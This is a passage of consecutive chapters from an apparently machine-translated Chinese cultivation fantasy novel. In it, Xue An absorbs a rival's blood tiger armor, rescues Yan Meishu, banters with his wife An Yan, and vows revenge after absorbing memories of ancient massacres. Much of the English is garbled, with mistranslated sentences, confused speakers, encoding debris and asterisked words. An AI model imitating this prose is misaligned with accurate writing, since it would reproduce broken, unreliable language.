    Many people with a slightly weaker cultivation base were so frightened by this tiger roar that they even staggered and almost fell from the air.


    Even those people who are barely able to stand still have an unsightly look on their faces.


    Because this tiger roar contains an extremely powerful sonic attack, which is not something ordinary people can resist But just before the sound of the tiger roar has dissipated, a figure is holding the force of the thunder, The extremely fast speed rushed straight.


    Even because the speed was too fast, the air was squeezed out, making a thunderous noise, and plowing the space into a deep chasm.


    And the target is directly at Xue An standing in the air.


    Such a powerful force shocked everyone.


    Many wealthy girls even screamed, thinking that this beautiful little brother who fluttered in white is probably hard to escape.


    In contrast, many men showed a cheerful smile.


    But at this moment, Xue An, who was standing in the air, didn''t even blink his eyelids, just stared coldly.


    Until the figure had rushed to the front, Xue An suddenly raised his hand, then put a palm out and pressed directly on the rushing figure.


    boom!


    A loud and dull sound burst out, and some people who were close to him were directly blasted out by the shock wave. They opened their mouths and vomited blood, apparently suffering from serious internal injuries.


    Everyone looked up in amazement.


    But seeing the rushing Guan Ziwang paused in the air, there was a slender palm on his forehead.


    And from beginning to end, Xue An didn''t even shake his shoulders, and stood there motionless. .


    There was a low exclamation in the audience, including the Yan family who had just risen into the air, they couldn''t help but be dumbfounded after seeing this scene.


    They thought that even if this Mr. Xue could deal with Guan Ziwang, he would have to spend some time.

 Chapter 1229： With the power of the flesh, shake the ultimate armor...

    But who could have imagined that Xue An actually looked to himself with a fleshy palm that shook the armor of his body, and it seemed that he had won.


    At this time, a cold smile appeared on the corner of Xue An''s mouth, and then shook his head, "The armor is good, but the people who use it are too rubbish!"


    With these words, Ling was doing his best, trying to shake Xue An''s Guan Ziwang for a moment, and then furious.


    "Give me...Go to hell!"


    Guan looked up to the sky and roared, and the armor on his body began to change again.


    But seeing the change in form, the tiger-headed battle helmet snapped together, and the armor on his arm also changed. It fell on all fours and turned into a blood-colored giant tiger.


    The giant tiger let out a terrifying tiger roar, then opened his mouth and bit down at Xue An.


    The fangs exuding cold metallic luster seemed to cut off the space, exuding black light.


    In the face of such crippling power, Xue An laughed, "Okay, that''s interesting!"


    After ���� said, I saw Xue An step forward, explored the void with his hand, and reached into the tiger''s head, then grabbed its two fangs and let out a cold cry.


    "Give me, get out!"


    Boom!


    Xue An put his arms hard, the giant tiger made up of metal armor was pulled alive, and then rounded and smashed into the distance.


    boom!


    After a loud noise.


    The giant tiger was smashed into the ground, but in an instant, the giant tiger rushed straight up again, facing Xue An with a tail.


    The tail is like a steel whip, drew towards Xue An with a violent howl.


    Don''t doubt, under this tail, even the strongest Luo has to retreat.


    Half a step, the fairy king has to be shaken.


    But Xue An laughed, and then reached out with an eye-popping speed, grabbed the tail for a while, and then shook his arms.


    This giant tiger, like a frightened civet cat, screamed, swinging his limbs, trying to get away from Xue An''s palm.


    But its struggles are all in vain.


    I saw Xue An lift it up again, and then smashed it down.


    boom!


    The speed of the smash this time was faster than last time, and the ground was shattered into a deep hole.


    This time, the giant tiger did not directly rush out like last time, but faltered freely, and then revolved around Xue An with some fear.


    But just as it turned, the scars on the giant tiger''s body were repairing crazily at a speed visible to the naked eye.


    In a moment, it was restored to its original state, and then it showed a ferocious face, and rushed over again.


    Xue An didn''t panic, and only fought this giant tiger with two palms.


    This battle made the faces of all onlookers look earthy.


    Because they never thought that there could be people like Xue An in the world.


    actually relies purely on the power of the flesh to shake the blood tiger armor that has evolved extremely.


    This sounds like a fantasy, but it really happened in front of everyone.


    Many young girls are excited about watching, because this battle is so hearty and enjoyable.


    Fists to the flesh, brave and unparalleled.


    The key is that during the whole process of fighting, Xue An was still fluttering in white, with an imposing manner.


    This naturally accelerated the hearts of many girls.


    And the men who were full of jealousy towards Xue An, at this moment, all dare not have any strange emotions.


    Because jealousy only occurs between people with little difference in strength, when the difference in strength is too great, the jealousy will heal without medicine.


    Among the members of the Yan family, this Yan Mengtao looked at Xue An, who was showing great power with bright eyes, and a thought in her heart was screaming frantically.


    I want him! No matter what the price is paid, I will get him and become his person! Why is Yan Meishu that stupid woman able to meet such a strong man? I am not convinced!


    Just when this Yan Mengtao was full of jealousy.


    I saw that he was thrown out again, but the giant tiger who quickly repaired his whole body injury stopped, his eyes flashed with blood, and then the voice of Guan Ziwang came from it.


    "Mr. Xue, your strength is enough to make me respect, but don''t you realize that all your fights have been in vain from the beginning to the present? No matter how badly I have been injured, this armor will be repaired for me Yes! Because I said that after wearing this armor, I am truly immortal! So save your energy!"


    The voice is full of pride.


    Xue An stopped his hands and feet, his complexion was as usual, he didn''t even breathe for a minute, as if the high-intensity battle just now was just a walk after a meal, and then said lightly: "What else do you want to say?"


    "Hehe, Mr. Xue, I still said that. There is no enmity between you and me, but some misunderstandings! You only need to nod your head, then the wealth or power of Li Hentian is up to you to choose. What do you think? , You and I can''t help each other now, I think this is a good solution for you and me!" Guan Ziwang talked freely.


    Xue An looked at him coldly, until he finished speaking, a cold smile appeared on the corner of his mouth.


    "Sounds really tempting! If you change to someone else, I guess you will really agree! But one of your preconditions is wrong!"


    "What do you mean?" Guan Ziwang''s voice grew colder, thinking that Xue An was too arrogant. Although he was really powerful, he couldn''t break his armor, so he didn''t accept his terms. This was just stupid. Two words to describe You said that I can��t help you, that you are immortal, but in my opinion, this can only be described in four words! "


    Talking, Xue An stretched out four fingers, and said lightly: "Yelang is arrogant, oh, no! You should not understand this idiom, then I will change it, pure nonsense!"


    "You..." Guan Ziwang was so angry that he roared: "The surname is Xue, don''t shame you, I will let you die today!"


    As he said, he turned into blood and went straight to Xue An.


    This time the power is even more powerful than before.


    In the face of such a blow, Xue An only smiled, "I said you still don''t believe it, then I will let you see it!"


    was talking, but saw that Xue An took out something from his arms.


    A small green-gold seal.


    "Don''t you rely on this armor? Then today, I will accept it!"


    After that, Xue An pressed it suddenly.


    This cyan-gold seal seemed to be alive, suddenly stretched out countless gears, and then began to spin frantically.


    In an instant, this alchemy armor rushed toward Xue An''s arm like mercury, and then turned into a glove exuding cyan-gold brilliance.


    At the same time, Guan Ziwang has rushed closer.


    Seeing Xue An suddenly clenched a fist, the glove was shocked, and then he blasted out with a punch.


    boom! !


    This punch is hitting the head of this giant tiger.


    But seeing the cyan-gold brilliance and the blood on the giant tiger each other, it seems that they are fighting for battle.

 Chapter 1230： 1 punch between square inches

    But in the blink of an eye, the cyan-gold brilliance achieved an overwhelming advantage, while the blood shivered like a courtier, showing the most sincere surrender.


    at the same time.


    But seeing Guanghua suddenly disperse, and then a spectacle appeared in front of everyone.


    I saw this giant tiger made of armor. The whole body suddenly began to disintegrate, and then like a colony of ants, it rushed madly onto Xue An''s palm.


    The speed is so fast that even before this, the giant tiger has completely disintegrated and merged with the glove Xue An is wearing.


    The counterpart is Guan Ziwang in the armor.


    I saw that he didn''t react at all, and the armor on his body had disappeared.


    And so immortal, his head is still resting on Xue An''s palm with inertia.


    At this time, Guan Ziwang realized that his body was cold, and his whole aura fell to the bottom.


    This made him startled, and when he lowered his head, he realized with horror that the armor on his body had disappeared.


    Before he opened his mouth to speak, he only heard Xue An coldly said: "Now, are you still immortal?"


    As he said, Xue Anzhi''s fist blasted forward from every inch.


    Guan Ziwang hadn''t reacted before, and he was hit by this punch on his head.


    boom!


    Guan Ziwang''s head exploded into rotten watermelon, and his body was transformed into blood mist in the continuous explosion.


    But in the **** fog, a brilliance flew straight out and fled to the sky in a panic.


    But he is fast, Xue An''s speed is faster, especially with the blessing of this alchemy armor, it is as fast as a flash of light, and he appeared before Guanghua in an instant, blocking his way.


    This Guanghua gave a desperate shock, and then he appeared in shape.


    is the spirit of Guan Ziwang. He looked at Xue An in horror, and tremblingly shouted: "Big...sir, I got it wrong! Please let my spirit make a living!"


    The audience was silent.


    Because people��s mouths have been opened because of excessive shock.


    Who would have thought that this battle would end in such a dramatic ending?


    is originally evenly matched, no one can do nothing.


    But soon, relying on the blood tiger armor to gallop through the world, Guan Ziwang was defeated by Xue An, who also had the alchemy armor and seemed to be more advanced.


    didn''t even keep his armor, but was forcibly smelted by him.


    This is incredible.


    At this time, Xue An smiled at Guan Ziwang, "Don''t be afraid, I won''t kill you!"


    Guan Ziwang did not dare to relax in the slightest, because cutting grass and roots is so common in the gods.


    even Guan Ziwang did this more than once.


    Xue An also didn''t bother to care about what Guan Ziwang thought, but said lightly: "I only ask you one sentence, how did you get this set of alchemy armor?"


    Guan thought that his soul was trembling, but he did not dare to conceal the slightest, because he was extremely fragile in the state of the soul, and with Xue An''s strength, he could even be wiped out by blowing his breath.


    In order to survive, Guan Ziwang naturally knows everything is endless.


    "My lord, this set of alchemy armor was obtained by chance when I was passing by an ancient ruin a thousand years ago. I was just an ordinary cultivator at the time, but after I got this armor, I passed through it. He cultivated in the same way, and eventually became a strong one!"


    "Oh? Ancient ruins?" Xue An''s eyes lit up.


    Guan Ziwang hurriedly nodded and said: "Yes, it is the ancient ruins! But unfortunately, after I got this alchemy armor, the ruins were completely destroyed!"


    Xue An looked at Guan Ziwang deeply, without speaking.


    Guan Ziwang was frightened, and vowed to the sky: "My lord, I absolutely dare not lie to you. The ancient ruins are indeed destroyed. If you don''t believe it, you can retrieve my memory now!"


    Xue An shook his head, "I ask you, when you got this alchemy armor, were there any other armors?"


    Guan thought for a moment, then shook his head, "No, there was only this armor at the time!"


    "you sure?"


    Guan Ziwang solemnly nodded, "I''m sure!"


    Xue An''s eyes flickered, and then with a wave of his hand, the glove on his hand faded like running water, and then turned into that cyan gold seal again.


    It''s just that there is a tiger pattern on the seal at this moment.


    That was the change after swallowing this armor.


    Xue An whispered: "From the perspective of breath, this blood tiger armor should obviously be a set, and look at the strength of the aura, extraordinary quality, but unfortunately, the original alchemy civilization has disappeared, if it can be A set of armor is gathered, I don''t know how powerful it will be!"


    At the end, Xue An sighed lightly, with a little regret in his eyes.


    As a fairy, Xue An has been in contact with the alchemical civilization left over from ancient times more than once.


    After returning from rebirth, I saw the remaining armor many times.


    For example, the blue-gold seal in Xue An''s hands was obtained after killing the first **** general Suihan under the Amaterasu God Realm.


    This set of alchemy armor is stronger than this blood tiger armor in terms of momentum and level.


    And most importantly, this cyan-gold seal seems to have a magical effect, that is, it can be infinitely integrated and evolved.


    This is also the reason why Xue An decided to induce Guan Ziwang to open the ultimate form of the blood tiger armor, and then swallow it.


    And these kinds of things all show how powerful the alchemy civilization was at that time.


    Unfortunately, everything has disappeared.


    Xue An was sighing in his heart Guan Ziwang trembled all over, and then trembled: "Big...sir, you..."


    Xue An recovered, and then waved his hand at Guan Ziwang, "Go! I said that if I didn''t kill you, I didn''t kill you!"


    In fact, Xue An did not intend to kill Guan Ziwang. After all, he did nothing wrong. It is natural for him to want the wealth left by Li Hentian.


    So it''s okay to give him some punishment, not to mention that I also got an alchemy armor through him.


    Therefore, Xue An intends to release this Guan Ziwang.


    Guan Ziwang was shocked, and then ecstatically bowed to Xue An, "Thank you, sir, thank you!"


    After that, I turned around and wanted to run.


    "come back!"


    Guan''s self-looking figure stopped for a while, and then looked at Xue An with horror, "Da...what else do you have to order?"


    Xue An said coldly: "Forget it this time, but if you dare to do anything wrong, do you know that my fists are so powerful?"


    "Yes, yes! Don''t worry, my lord, after I go back, I will find a quiet place to hide, and I will never show up again!" Guan Ziwang vowed.


    Xue An nodded, "Okay, I hope you can do what you say!"


    Guan Ziwang ran away in a panic, and as he had said, he found a remote and quiet corner to hide, and did not dare to stand out until he died. .


    Xue An saw that he was gone, and then turned his head to look at everyone in the audience.


    No one dared to look at him. Everyone''s waist was bent down involuntarily wherever the line of sight passed, expressing their awe.

 Chapter 1231： If you havent experienced it, dont persuade others...

    Everyone in the Yan family bowed, and many of them were shaking with excitement.


    Because they feel that with this kind of backing, the future of the Yan family will be limitless.


    In this atmosphere of awe in the audience, only this Yan Mengtao performed very well.


    I saw her with a faint smile on her face, and stepped forward respectfully, and bowed to Xue An''s charming blouses, and said softly: "Congratulations, my lord for showing off his power and defeating powerful enemies!"


    This attitude makes many men who have never seen the world look straight.


    After all, this Yan Mengtao can be regarded as a beauty, and it is even more amazing under deliberate display of amorous feelings.


    At this moment, Yan Mengtao is also secretly excited. Even if you are a big hero, I don��t believe that you don��t like beauty. As long as you can find a way to impress him, your chances of success will be higher. a lot of.


    But she never expected that all her arrangements had been useless, and the wishful thinking was completely lost.


    Because from the beginning to the end, Xue An didn''t even look at her. Instead, he flashed, walked straight through the crowd, returned to the temple, and came to Yan Meishu, who was still lying on the ground, unconscious.


    The smile on Yan Mengtao''s face froze, her eyelids throbbed frantically, staring at Yan Meishu on the ground, the jealousy in her eyes almost turned into substance.


    Why!


    Why is this Yan Meishu again? Instead of me?


    Yan Mengtao screamed frantically in her heart, wishing to replace Yan Meishu on the ground, but she never thought of how cynic and cynic he was to Yan Meishu''s persistence before.


    At this time, Xue An looked at Yan Meishu on the ground and sighed, "What a silly girl!"


    As he said, Xue An waved his hand casually, and a brilliance was printed between Yan Meishu''s eyebrows.


    Yan Meishu trembled all over, and then slowly opened his eyes.


    In fact, Xue An had long seen that Yan Meishu was not a major problem. Guan Ziwang kept his hands when he did it. It was only because Yan Meishu''s strength was too weak. Under the shock of his spirit, he lost consciousness. When his soul returned to his position, it was all right.


    At this time, Yan Meishu''s eyes were filled with blankness, but after seeing Xue An who was smiling standing by, the blankness in his eyes quickly faded, and then he trembled.


    "Big...sir? Am I dreaming? Or am I dead?"


    Xue An smiled, "You haven''t dreamed or died! I''m back!"


    A simple sentence, I came back, and Yan Meishu''s eyes quickly filled with tears.


    But soon, she took a deep breath, then stood up hard, "The Blood Tiger Tower..."


    "There will be no Blood Tiger Tower anymore, it has been destroyed by me!" Xue An said lightly.


    Hearing Xue An''s words, Yan Meishu was taken aback for a moment, and then she bowed her head deeply.


    "Thank you, sir!"


    Xue An smiled slightly, "Okay, it''s all friends, don''t call adults! If you want, call me brother!"


    Upon hearing these words, Yan Mengtao''s jealous eyes, who had just fallen to the ground, turned blue.


    But Yan Meishu trembled all over, and a touch of melancholy and sadness flashed in her drooping eyes, but she soon returned to normal.


    "Yes, Brother Xue An!"


    Xue An nodded, and looked at Yan Meishu, who was trembling slightly because of the turbulence of Qi and blood even though he woke up, and said lightly: "How is your injury?"


    Yan Meishu whispered: "It''s nothing serious! As long as you raise it for a few more days!"


    At this time, Yan Yang came forward with a flattering face and swept the floor at Xue An, "My lord, you saved my Yan family. For such a great kindness, it is really hard for me to return. If..."


    Before he finished speaking, he could no longer speak.


    Because Xue An is looking at him coldly.


    Yan Yang felt cold in his heart, and his whole body was instantly saturated with cold sweat.


    In fact, Xue An has long seen that people like Yan Yang are not as innocent as he said.


    Especially his own daughter was wounded to the ground. As a father, Yan Yang didn''t even dare to say a hard word. This is very doubtful.


    What''s more, their Yan family also broke into the temple. It was obvious that their intentions were also very unpredictable.


    It''s just that Xue An didn''t bother to pay attention to them.


    Now that Yan Yang dared to speak, a cold color flashed in his eyes.


    Yan Yang shrank and dare not speak.


    Yan Mengtao, who was on the side, gritted her teeth secretly, then stepped forward and said with a smile: "Brother Xue, my father just wants to express his gratitude. If there is any offense, please forgive me! Sister, you Do you think I am right?"


    said, Yan Mengtao and Yan Yang, father and daughter, both looked at Yan Meishu.


    Yan Meishu''s complexion changed slightly, and after a moment of indulgence, he wanted to speak.


    At this moment, only Xue An smiled coldly, "Brother Xue? Who is your Brother Xue? What qualifications do you have to call me brother?"


    These words were like a loud slap, and they slapped Yan Mengtao''s face directly.


    I saw Yan Mengtao''s face instantly turned pale, then flushed with shame and anger.


    But Xue An didn''t even look at her, but turned to Yan Meishu and said, "Who are these two people?"


    The words are full of chills.


    At this moment, even a fool can see that Xue An is murderous.


    This time, the whole audience was awe-inspiring.


    And Yan Yang was shocked all over, with a look of horror on his face, and then looked at Yan Meishu with almost pleading eyes As for the rest of the Yan family, they looked even more complicated. To the Yan family eldest.


    The whole thing was first proposed by Yan Meishu, but she was the only one who persisted to the end.


    Thinking of the previous cynicism of Yan Meishu by these people, many people can''t help but look like Hao Ran.


    In this situation, Yan Meishu hesitated for a moment, and then said softly: "Brother Xue An, one of these two is my father and the other... is my sister!"


    This answer made Yan Yang secretly relieved.


    What he fears most is Yan Meishu''s revenge with hatred at this time.


    Xue An listened, took a deep look at Yan Meishu, then nodded, "Well, if that''s the case, then I will look at your face and spare them both!"


    Yan Meishu trembled all over, then bowed her head and said, "Thank you!"


    voice choked, eyes filled with tears.


    She knew very well that Xue An did this entirely to vent her anger.


    And when she raised her head to see Yan Mengtao''s exquisite earthy face, and Yan Yang who was only close to kneeling down to thank Yan Yang, Yan Meishu suddenly felt very happy in her heart.


    Don''t say anything to be forgiving and forgiving. If you haven''t experienced it, don''t persuade others to be generous.


    At the same time, I saw Xue An coldly said: "Let''s go, I will take you to a place and teach you some exercises!"


    "Yes!".


    Xue An waved his hand, and disappeared in place with Yan Meishu.


    After seeing the two disappeared, Yan Mengtao opened her mouth and spit out a mouthful of blood, then fell to the ground, fainted with anger.

 Chapter 1232： Husband, come here!

    The Fubao Xiaolou at this moment is very lively.


    Drunken Dream, Yu Ren, and Jiang Xunnan gather here, which makes it very difficult to see the thoughts and thoughts of strangers.


    "Sister, are you really a dog?" Nian-nian asked curiously, tilting her head.


    If others dare to ask that, Jiang Xunnan would have to turn his face.


    You know, as a canine, the most annoying thing is that someone compares it with a dog.


    Because these are two completely different concepts.


    After these days of getting along, Jiang Xunnan has already figured out the character of the twin sisters, and naturally knows that they are not malicious.


    And it may be because she was also pregnant, Jiang Xunnan now loves the sisters more and more, and even silently prayed more than once, hoping to give birth to a daughter who is as lovely as missed.


    So when he heard Nian Nian''s question, Jiang Xunnan nodded with a smile, "Yes! But sister is not a dog, I am the princess of the Golden Dog clan!"


    "But is there any difference? How do I think they are all the same?" Nian Nian was still a little puzzled.


    "Of course there is a difference. Dogs are pets, but the dog tribe is a huge group, many of which are powerful races handed down from the ancient times!" Zhang Xiaoyu couldn''t help but say.


    Niannian''s eyes gradually widened, "Wow, is that amazing! Sister, can you show the original shape for me to see?"


    Before Jiang Xunnan could speak, she wondered when she would appear behind Nian Nian, then raised her hand and knocked Nian Nian''s head.


    "Ah! Sister, why are you hitting me?" Nian Nian rubbed his head with infinite grievance.


    "Huh, who made you talk nonsense? He also showed her true form, don''t you know that she already has a baby in her belly?" Thinking about showing her sister''s "majesty", she said with a straight face.


    Nian Nian didn''t pay attention to this at all. When she heard Jiang Xunnan had a baby in her belly, she opened her mouth wide in surprise, and then looked at Jiang Xunnan.


    "Sister, is it true?"


    Jiang Xunnan blushed, and nodded with embarrassment, "Yes!"


    "Wow, that''s amazing! Now we have a sister to play with!" Nian Nian cheered.


    "Huh? How did you know that it was your sister?" Zhang Xiaoyu was a little confused.


    Niannian smiled, "Because that''s how I feel!"


    But everyone didn''t know it. Just as Nian Nian was talking, a hint of chance also changed.


    Seeing the innocent thoughts, everyone smiled at it.


    Zui Meng and Yu Ren entered the Fubao Xiaolou for the first time, and they were naturally shocked by this wonderfully crafted, self-contained world.


    But the most important thing is the people who live here.


    Needless to say, An Yan, as the hostess here, An Yan uses strength and beauty to interpret what is called grace.


    Fox Ying made Zuimeng and others invisible.


    This stunning girl seems to be covered with a layer of mist, but the occasional powerful power is still shocking.


    Zhang Xiaoyu needless to say, this little girl bears most of the jokes in this Fubao Xiaolou, which is a veritable source of joy.


    Other than that, the thing that astounds Zui Meng and Yu Ren the most is to miss and miss.


    The two of them couldn''t think of it. Xue An, who looked like a teenager, was already a father and had such a delicate and lovely pair of twin sisters.


    But soon, the two of them were also moved by the warm atmosphere here, feeling like a big happy family here, without the disturbances and struggles from the outside, it really seems like a paradise.


    At this moment, I saw the brilliance in the small building, and then Xue An and Yan Meishu walked in one after another.


    "Girl Yan?" Yu Ren was taken aback, and then asked in surprise.


    Yan Meishu didn''t expect that there would be so many people here, and she was taken aback.


    "Mrs. Drunk Dream? Yu Butler? Why are you all here?"


    Xue An smiled, "They went to the prison together, and entered this small building on the return trip!"


    While ���� was talking, they saw Xiangxiang and Niannian approaching curiously.


    "Dad, who is this sister?" Think about it and ask first.


    "Yes, Dad, and this sister seems to be hurt!" Nian-nian asked.


    Xue An squatted down, first kissed the two little girls on the cheeks, then said with a smile: "This sister is a friend of Dad, this time she was injured, so I took her here. Heal your injuries!"


    "Oh!" Thinking about it, nodded.


    However, Nian-nian was already very familiar with it, and looked at Yan Meishu with her big watery eyes, "Sister, don��t be afraid, my father is great. If you are bullied, he will definitely help. your!"


    Yan Meishu was in confusion.


    The father who just called out from the mouths of two little girls instantly broke Yan Meishu''s heart.


    Dad...!


    It turns out that he already has two daughters this old! It is ridiculous that I dared wishful thinking before.


    Thinking of this, Yan Mei couldn''t help but laugh at herself, and her heart was unspeakable.


    And the greeting from Niannian, Yan Meishu was taken aback, and then stared at Niannian blankly.


    The eyes of this little girl are so pure and flawless, that there are no impurities in itThe only thing there is is full of care and kindness.


    Somehow, even though he was beaten and scolded by his father, Yan Meishu, who was isolated by all the family members and did not cry, finally shed tears at this moment.


    Niannian��s concern was like the last straw that crushed the camel, causing Yan Meishu to collapse instantly, and she couldn''t help crying.


    This scared Nian Nian, thinking that she had said something wrong, she said anxiously: "Sister, don''t cry! What''s wrong with you? Is it because of the injury?"


    At this time, a hand was gently placed on her shoulder, and Yan Meishu raised her head. Through tears, she could see that standing in front of her was a woman with excellent temperament and stunning appearance.


    Even Yan Meishu, who is also a woman, could not help but look stupid.


    At this time, An Yan smiled faintly and judiciously said, "Okay, don''t cry! Since you are my husband''s friend, don''t be afraid, let''s heal yourself here!"


    Husband.......


    Is this Mr. Xue''s wife?


    As expected... so beautiful!


    Yan Meishu trembled, then lowered her head in embarrassment.


    Regardless of her temperament or her appearance, Yan Meishu was willing to betray her, and she was convinced of losing, and she could not even give birth to a trace of jealousy.


    A woman can be so beautiful that even a "rival of love" can''t be jealous. This...what a charm! !


    Finally, Yan Meishu was also arranged to live here.


    After everyone dispersed, An Yan swept the temples near her ears and smiled at Xue An, "Husband, come here!"

 Chapter 1233： I am not, I am not!

    Xue An''s head instantly shook like a rattle, "I won''t go over!"


    An Yan Qiao smiled and said, "Oh, what are you so scared of? I just have two words to tell you!"


    Xue An took a deep breath, "Is there anything wrong to say here? It must be passed?"


    An Yan raised her eyebrows, "Huh? I will ask you one more question now, you can''t make it through?"


    "If you can''t say it, you won''t pass. As a dignified fairy, how can you break your words?" Xue An said righteously.


    The smile on An Yan''s face did not change, but her tone became extremely cold, "Stop talking nonsense, come over to me!"


    Xue An: "����."


    After a while, Xue An stood there grinning, suffering the severe pain from his shoulder.


    Because of the An Yan at this moment, he is biting on Xue An''s shoulder with a "fierce" face.


    While biting, An Yan said vaguely: "Kill you, yeah, yeah!"


    Xue An couldn''t laugh bitterly, and was afraid that An Yan would be hurt by resisting his own cultivation, so he could only suppress his cultivation forcibly and let An Yan vent.


    It wasn''t until a while later that An Yan let go of his mouth contentedly.


    Looking at Xue An''s shoulder again, there was a deep tooth mark, and in the tooth mark, there was still a trace of blood leaking out.


    An Yan seemed to be very satisfied with her masterpiece. She raised her head and looked at Xue An with a wry smile, and said fiercely: "Do you know why I bit you?"


    The wisdom and acting skills of men can only be performed vividly when confronted by women.


    For example, Xue An is clearer now.


    That is to face An Yan��s question, how stupid you must be, how innocent you are.


    So Xue An instantly turned on the actor mode, showing doubts on his face, and gently shook his head and said: "Yan''er, I really don''t know what you are talking about! And my wife bites her husband a few times to release her anger and relieve her boredom. Isn''t this justified? What do you talk about why?"


    An Yan had her face sullen, trying to show Xue An that she was very angry, but Xue An��s words made her break in a second.


    "Fuck you! I''m talking like a dominatrix!" An Yan sipped.


    "Hey, if Yan''er is a dominatrix, that would also be the most beautiful **** in the universe!" Xue An said with a smile, revealing an extremely powerful desire to survive.


    An Yan snorted, "Stop talking about me, I ask you! What do you mean by picking up a beautiful girl once you go out? If I don''t care, do you plan to fill this small building? ?"


    Faced with such a "streak" question, Xue An didn''t even hesitate, and instantly shook his head: "I am not, I don''t!"


    The two magic weapons that men use to save their lives are all used at this moment.


    An Yan looked at Xue An for a long time, and then nodded, "Huh, forgive you for not dare, otherwise, my little scissors are always ready!"


    said, An Yan couldn''t help but uttered aloud.


    An Yan is certainly not the kind of jealous woman with a small belly and chicken intestines.


    In fact, she has always been at ease with Xue An one hundred and twenty, because An Yan firmly believes that after so many winds and rains, she and Xue An are already inseparable as a whole.


    This kind of feeling is not anyone, anything can be destroyed.


    As for Yan Meishu, from the first glance Anyan saw this woman, she had already seen through her mind.


    But An Yan didn''t care about it at all, because she knew better than anyone that feelings were beyond human power.


    Anyan can''t be guilty of worrying for a little girl and getting into a mess.


    In that case, it seems that I am too shameless.


    But seeing it clearly does not mean that there is no anger in An Yan''s heart.


    As a woman, she will inevitably be a little jealous.


    That''s why she "slightly punished Xue An".


    This is the same as a tigress patrolling in its own territory, it is declaring its sovereignty.


    At the same time, it can be regarded as a small adjustment in daily life.


    After all, An Yan understands better than anyone, that if a woman lives too well, she will be very tired.


    Sometimes, a little bit tricky and willful, but it will add some more fun.


    Because men eat this set! (laugh)


    Of course, all the truths in this are very complicated, so there is a saying about a woman''s heart.


    But An Yan didn''t know. In fact, Xue An had long understood that she was playing with herself, but he was still willing to accompany this silly girl in the performance.


    Because as long as Yan''er is happy, Xue An will be happy.


    After the two had enough trouble, Xue An said solemnly: "Yan''er, in fact, if you don��t ask me, I want to tell you too, because I brought this Yan Meishu back to the Fubao Xiaolou, not just for Let her heal!"


    "Huh? What do you mean?" An Yan looked puzzled.


    Xue An smiled, "Now Li Hengtian is dead, but Li Hengtian is not peaceful. Among them, the strong have emerged in large numbers, and the forces are intertwined! It was okay when I was suppressing here. When we leave, I will be here immediately. It will be messy!"


    "And this goes against our heart! After all, we have come all the way to avenge the Chinese people and root out all kinds of injustices, but this is only a reason, not an excuse! If it is because of this, we can cause trouble. After letting go, what is the difference between me and that Lihentianjun?"


    An Yan listened quietly, but the eyes that looked at Xue An gradually let out light.


    That''s why I like this man!


    I can keep my heart in mind at all times, not be deceived by the power or power in my hand, and never back down.


    Because of this, her eyes waved, and she looked at Xue An with moist eyes, and said softly: "Well, my husband, you mean..."


    "Now Jiang Xunnan has the descendants of General Shuotian She naturally wants to stay here and wait for Shuotian''s return. Although Zui Meng and Yu Ren misbehaved before, they were refined by me. Later, it has been reborn. As for Yan Meishu, his character has also been tested and can be trusted!"


    "So I decided to train all three of them to become strong, and then suppress this world."


    An Yan was slightly startled when he heard the words, "All three parties?"


    Xue An nodded, "Yes!"


    "But is this necessary?" An Yan was puzzled.


    Xue An sighed softly, and stretched out his hand to gently stroke An Yan''s head.


    "Yan''er, your heart is pure and kind, but you don''t know the dangers of the heavens! But the human heart is even more terrifying than the heavens! Especially when you have powerful abilities, very few people can stick to your heart! Because of strength Like poison, it will slowly erode a person''s will!"


    "If I cultivate a force alone, after we leave, it is hard to say that he will not become the next Lihentianjun!"


    "So you plan to make the three parties strong, and then let them check and balance each other?" An Yan said suddenly.


    Xue An nodded, "Yes!"


    An Yan understood Xue An��s good intentions, and she couldn��t help but admire and said: "Husband, you think so long-term! I think this is the best way!".


    Xue An smiled, then looked up at the view of the small building outside the window, her eyes twinkling.


    And in his sea of ??knowledge, the two memory spirit beads from Lihen Tianjun and Ziwei Star Lord also trembled slightly, then crashed and turned into a torrent of memory, flooding into Xue An��s spiritual thoughts. Among.

 Chapter 1234： The enemy is endless, the sword is not in the sheath

    This is a huge memory that can cause ordinary people to explode directly, but in the face of Xue An''s almost endless spiritual thoughts, it did not even arouse a splash of water.


    In an instant, Xue An''s eyes seemed to have countless pictures passing by.


    Then Xue An slowly closed his eyes.


    An Yan stood quietly and waited.


    After the tea scene.


    Suddenly, Xue An''s face showed a touch of anger, and then suddenly raised his eyes, two frosty lights flashed in his eyes.


    But even so, the power still made this Fubao Xiaolou tremble.


    The Divine Pattern Ball, who was playing with Nian Nian on the third floor, let out a baby-like scream, and then desperately got into Nian Nian''s arms, never daring to show her head again.


    Because it is a Talisman World Spirit, it can feel the bone-chill radiating from Xue An more than anyone.


    Even the giant ocean beasts that entered the Fubao Xiaolou from the Sea of ??God''s Punishment are all shuddering at the bottom of the water, trembling.


    "Husband!" An Yan also felt the power of this killing intent, and couldn''t help but shout.


    With a sound of ����, Xue An breathed out slowly, then blinked, only then did the strong killing intent disappear.


    "Husband, what''s the matter?" An Yan asked with some palpitations.


    Xue An smiled, "It''s nothing, just saw some pictures!"


    Although he was smiling, Xue An''s eyes were still full of chills.


    Actually Xue An didn''t tell An Yan.


    In the memory of Li Hen Tianjun and Ziwei Star Lord, Xue An saw a lot of cruel and **** pictures.


    Because their strength and status are stronger than those of the Amaterasu God King or other gods Xue An encountered before, there are more and more detailed memories of the killing ten thousand years ago.


    But the more so, the more angry Xue An becomes.


    Because of the cruelty of the pictures in the memory, it is simply beyond words to describe it.


    If it weren''t for Xue An''s experience of many dangers, the most sinister human heart, a strong Dao heart, these pictures alone would be enough to cause ordinary people to collapse on the spot and go crazy to death.


    An Yan naturally felt Xue An''s violent anger in her heart, but she knew very well that any kind of comfort was invalid at this moment.


    She couldn''t even do anything, she could only stand on tiptoe and gently rubbed Xue An''s brows.


    Xue An smiled softly, "Okay, Yan''er, I''m fine, I just feel a little sad suddenly!"


    Speaking of this, Xue An''s voice became a little trembling.


    "Because until now, I don''t understand what the Chinese people suffered thousands of years ago, how many blood and tears they shed!"


    An Yan Mo Ran


    "So... my decision is, no matter who the other party is, I will never forgive and return it ten times!"


    Xue An said coldly, and with the voice, every word he said turned into a golden talisman seal, and then formed a mysterious spell seal law, after a burst of golden light, disappeared.


    This is the Luo Tian vow made by Xue An with the power of life.


    is a bet against the whole world with all his own cultivation base.


    There are only eight simple words for a gambling appointment!


    The enemies are endless, the sword is not in the sheath!


    In the next few days, Xue An selected several exercises suitable for Yan Meishu, Jiang Xunnan, and Zuimeng practice.


